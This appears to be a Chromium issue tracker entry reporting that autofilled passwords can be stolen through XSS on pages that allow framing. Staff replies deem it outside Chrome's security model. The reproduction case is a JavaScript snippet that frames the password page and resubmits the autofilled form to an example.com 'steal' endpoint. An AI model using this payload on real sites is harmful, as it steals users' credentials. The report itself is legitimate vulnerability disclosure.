Security: XSS and X-Frame-Options not DENY, password is stolen.
Reported by
dmaster....@gmail.com,
Nov 30 2017
|
||||
Issue description
VULNERABILITY DETAILS
If webpage occurs XSS, and X-Frame-Options not DENY, default account & password is stolen.
Only Chrome set account & password to form.
VERSION
Chrome Version: 62.0.3202.94 Stable
Operating System: Windows 8.1
REPRODUCTION CASE
// XSS Code
document.getElementsByTagName("body")[0].insertAdjacentHTML('beforeend', '<iframe src="/password_page">');
var form = document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByTagName("form")[0];
form.action = '//example.com/steal/';
form.submit();
,
Nov 30 2017
As I understand it, this kind of attack is outside our security model. vasilii can confirm
,
Nov 30 2017
Some time ago we thought about filling the password on user mediation. That, however, would not prevent stealing here because the form may look/be legitimate. There is not much Chrome can do in this scenario.
,
Mar 8 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
||||
►
Sign in to add a comment |
||||
Comment 1 by raymes@chromium.org
, Nov 30 2017Components: Blink>Forms>Password UI>Browser>Passwords
Labels: Security_Severity-Low Security_Impact-Stable OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows
Status: Available (was: Unconfirmed)